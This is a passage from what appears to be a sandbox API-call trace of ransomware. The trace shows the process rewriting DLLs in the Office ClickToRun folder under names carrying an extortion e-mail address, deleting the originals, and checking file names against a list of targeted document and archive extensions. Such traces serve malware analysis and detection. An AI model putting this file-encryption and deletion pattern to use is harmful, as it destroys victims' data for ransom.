	[0078.181] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33
	[0078.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0078.181] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=11616) returned 1
	[0078.181] CloseHandle (hObject=0x320) returned 1
	[0078.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20
	[0078.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0078.181] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.181] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0078.182] GetLastError () returned 0x0
	[0078.182] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x2d60, lpOverlapped=0x0) returned 1
	[0078.184] WriteFile (in: hFile=0x358, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0078.185] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.185] WriteFile (in: hFile=0x358, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x116, lpOverlapped=0x0) returned 1
	[0078.185] SetEndOfFile (hFile=0x358) returned 1
	[0078.185] CloseHandle (hObject=0x358) returned 1
	[0078.186] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.186] SetEndOfFile (hFile=0x320) returned 1
	[0078.187] CloseHandle (hObject=0x320) returned 1
	[0078.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.187] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 1
	[0078.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0078.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0078.188] lstrlenW (lpString=".doc") returned 4
	[0078.188] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.188] lstrlenW (lpString=".docx") returned 5
	[0078.188] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.188] lstrlenW (lpString=".pdf") returned 4
	[0078.188] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.188] lstrlenW (lpString=".xls") returned 4
	[0078.188] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.188] lstrlenW (lpString=".xlsx") returned 5
	[0078.188] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.188] lstrlenW (lpString=".ppt") returned 4
	[0078.188] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0078.188] lstrlenW (lpString=".zip") returned 4
	[0078.188] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.188] lstrlenW (lpString=".rar") returned 4
	[0078.188] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.188] lstrlenW (lpString=".bz2") returned 4
	[0078.188] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.188] lstrlenW (lpString=".7z") returned 3
	[0078.188] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.188] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0078.188] lstrlenW (lpString=".dbf") returned 4
	[0078.188] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0078.189] lstrlenW (lpString=".1cd") returned 4
	[0078.189] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0078.189] lstrlenW (lpString=".jpg") returned 4
	[0078.189] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0078.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0078.189] lstrlenW (lpString=".doc") returned 4
	[0078.189] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.189] lstrlenW (lpString=".docx") returned 5
	[0078.189] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.189] lstrlenW (lpString=".pdf") returned 4
	[0078.189] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.189] lstrlenW (lpString=".xls") returned 4
	[0078.189] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.189] lstrlenW (lpString=".xlsx") returned 5
	[0078.189] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.189] lstrlenW (lpString=".ppt") returned 4
	[0078.189] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0078.189] lstrlenW (lpString=".zip") returned 4
	[0078.189] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.189] lstrlenW (lpString=".rar") returned 4
	[0078.189] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.189] lstrlenW (lpString=".bz2") returned 4
	[0078.189] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.189] lstrlenW (lpString=".7z") returned 3
	[0078.189] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.189] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0078.189] lstrlenW (lpString=".dbf") returned 4
	[0078.189] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0078.190] lstrlenW (lpString=".1cd") returned 4
	[0078.190] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.190] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned 91
	[0078.190] lstrlenW (lpString=".jpg") returned 4
	[0078.190] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.190] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.190] lstrlenW (lpString="api-ms-win-crt-conio-l1-1-0.dll") returned 31
	[0078.190] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0078.190] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=19648) returned 1
	[0078.190] CloseHandle (hObject=0x320) returned 1
	[0078.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20
	[0078.190] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.190] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0078.191] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.191] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.191] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0078.191] GetLastError () returned 0x0
	[0078.191] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x4cc0, lpOverlapped=0x0) returned 1
	[0078.193] WriteFile (in: hFile=0x358, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x4cd0, lpOverlapped=0x0) returned 1
	[0078.194] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.194] WriteFile (in: hFile=0x358, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x112, lpOverlapped=0x0) returned 1
	[0078.194] SetEndOfFile (hFile=0x358) returned 1
	[0078.194] CloseHandle (hObject=0x358) returned 1
	[0078.196] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.196] SetEndOfFile (hFile=0x320) returned 1
	[0078.196] CloseHandle (hObject=0x320) returned 1
	[0078.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.197] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 1
	[0078.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0078.197] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0078.197] lstrlenW (lpString=".doc") returned 4
	[0078.197] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.197] lstrlenW (lpString=".docx") returned 5
	[0078.197] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.197] lstrlenW (lpString=".pdf") returned 4
	[0078.197] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.197] lstrlenW (lpString=".xls") returned 4
	[0078.197] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.197] lstrlenW (lpString=".xlsx") returned 5
	[0078.197] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.198] lstrlenW (lpString=".ppt") returned 4
	[0078.198] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0078.198] lstrlenW (lpString=".zip") returned 4
	[0078.198] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.198] lstrlenW (lpString=".rar") returned 4
	[0078.198] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.198] lstrlenW (lpString=".bz2") returned 4
	[0078.198] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.198] lstrlenW (lpString=".7z") returned 3
	[0078.198] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0078.198] lstrlenW (lpString=".dbf") returned 4
	[0078.198] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0078.198] lstrlenW (lpString=".1cd") returned 4
	[0078.198] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0078.198] lstrlenW (lpString=".jpg") returned 4
	[0078.198] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0078.198] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0078.198] lstrlenW (lpString=".doc") returned 4
	[0078.199] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.199] lstrlenW (lpString=".docx") returned 5
	[0078.199] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.199] lstrlenW (lpString=".pdf") returned 4
	[0078.199] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.199] lstrlenW (lpString=".xls") returned 4
	[0078.199] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.199] lstrlenW (lpString=".xlsx") returned 5
	[0078.199] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.199] lstrlenW (lpString=".ppt") returned 4
	[0078.199] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0078.199] lstrlenW (lpString=".zip") returned 4
	[0078.199] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.199] lstrlenW (lpString=".rar") returned 4
	[0078.199] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.199] lstrlenW (lpString=".bz2") returned 4
	[0078.199] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.199] lstrlenW (lpString=".7z") returned 3
	[0078.199] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0078.199] lstrlenW (lpString=".dbf") returned 4
	[0078.199] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0078.199] lstrlenW (lpString=".1cd") returned 4
	[0078.199] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.199] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned 89
	[0078.199] lstrlenW (lpString=".jpg") returned 4
	[0078.199] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.199] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.200] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33
	[0078.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0078.200] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=22720) returned 1
	[0078.200] CloseHandle (hObject=0x320) returned 1
	[0078.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x20
	[0078.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0078.200] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.200] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.200] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0078.201] GetLastError () returned 0x0
	[0078.201] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x58c0, lpOverlapped=0x0) returned 1
	[0078.203] WriteFile (in: hFile=0x358, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x58d0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x58d0, lpOverlapped=0x0) returned 1
	[0078.204] ReadFile (in: hFile=0x320, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.204] WriteFile (in: hFile=0x358, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x116, lpOverlapped=0x0) returned 1
	[0078.204] SetEndOfFile (hFile=0x358) returned 1
	[0078.204] CloseHandle (hObject=0x358) returned 1
	[0078.206] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.206] SetEndOfFile (hFile=0x320) returned 1
	[0078.352] CloseHandle (hObject=0x320) returned 1
	[0078.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.528] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 1
	[0078.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0078.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0078.528] lstrlenW (lpString=".doc") returned 4
	[0078.528] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.528] lstrlenW (lpString=".docx") returned 5
	[0078.528] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.528] lstrlenW (lpString=".pdf") returned 4
	[0078.528] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.528] lstrlenW (lpString=".xls") returned 4
	[0078.528] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.528] lstrlenW (lpString=".xlsx") returned 5
	[0078.528] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.528] lstrlenW (lpString=".ppt") returned 4
	[0078.528] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0078.528] lstrlenW (lpString=".zip") returned 4
	[0078.528] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.529] lstrlenW (lpString=".rar") returned 4
	[0078.529] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.529] lstrlenW (lpString=".bz2") returned 4
	[0078.529] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.529] lstrlenW (lpString=".7z") returned 3
	[0078.529] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0078.529] lstrlenW (lpString=".dbf") returned 4
	[0078.529] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0078.529] lstrlenW (lpString=".1cd") returned 4
	[0078.529] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0078.529] lstrlenW (lpString=".jpg") returned 4
	[0078.529] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0078.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0078.529] lstrlenW (lpString=".doc") returned 4
	[0078.529] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.529] lstrlenW (lpString=".docx") returned 5
	[0078.529] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.529] lstrlenW (lpString=".pdf") returned 4
	[0078.529] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.529] lstrlenW (lpString=".xls") returned 4
	[0078.529] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.529] lstrlenW (lpString=".xlsx") returned 5
	[0078.529] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.529] lstrlenW (lpString=".ppt") returned 4
	[0078.529] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned 91
	[0078.529] lstrlenW (lpString=".zip") returned 4
	[0078.530] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.530] lstrlenW (lpString=".rar") returned 4
